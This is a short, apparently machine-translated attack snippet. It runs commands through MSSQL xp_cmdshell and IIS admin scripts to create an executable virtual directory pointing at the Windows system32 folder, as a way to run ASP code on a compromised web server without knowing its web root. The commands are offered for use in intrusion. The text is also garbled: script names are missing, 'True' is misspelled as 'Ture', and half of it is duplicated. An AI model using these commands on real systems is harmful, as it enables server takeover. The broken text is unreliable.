exec .xp_cmdshell 'cscript C:\Interpub\AdminScripts\ -c localhost -w "l" -v "win","c:\winnt\system32"'
Create a virtual directory win, point to c:\winnt\system32
exec .xp_cmdshell 'cscript C:\Interpub\AdminScripts\ w3svc/1/root/win/Accessexecute Ture'
Let win sentences have permission to parse asp scripts
exec .xp_cmdshell "cscript C:\Interpub\AdminScripts\ delete w3svc/1/root/win/"
Delete the virtual directory.
A solution to not find an absolute path to the web,
/win
403 error means that the virtual directory has been built. . .
Create a virtual directory win, point to c:\winnt\system32
exec .xp_cmdshell 'cscript C:\Interpub\AdminScripts\ w3svc/1/root/win/Accessexecute Ture'
Let win sentences have permission to parse asp scripts
exec .xp_cmdshell "cscript C:\Interpub\AdminScripts\ delete w3svc/1/root/win/"
Delete the virtual directory.
A solution to not find an absolute path to the web,
/win
403 error means that the virtual directory has been built. . .